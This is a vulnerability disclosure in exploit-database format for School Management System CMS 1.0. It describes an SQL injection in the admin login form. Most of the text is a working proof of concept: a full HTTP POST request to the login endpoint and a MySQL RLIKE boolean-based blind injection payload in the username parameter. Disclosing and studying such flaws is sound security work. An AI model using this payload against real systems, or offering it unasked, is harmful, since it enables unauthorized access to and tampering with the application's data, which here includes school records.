# Exploit Title: School Management System CMS 1.0 - Admin Login SQL
Injection
# Dork: N/A# Date: 23.05.2018# Exploit Author: Özkan Mustafa Akkuş (AkkuS)# Vendor : Wecodex Solutions# Vendor Homepage: https://www.wecodex.com/item/view/school-management-system-in-php-and-mysql/5# Version: 1.0# Category: Webapps# Tested on: Kali linux# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data,or exploit latent
vulnerabilities in the underlying database.====================================================# PoC : SQLi :
https://test.com/school/maestro/index.php?view=processlogin
POST /school/maestro/index.php?view=processlogin HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://test.com/school/maestro/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:30
username=admin&password=123456
Vulnerable Payload :
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: username=admin") RLIKE (SELECT (CASE WHEN (5737=5737) THEN
0x61646d696e ELSE 0x28 END)) AND ("YAQS"="YAQS&password=123456====================================================
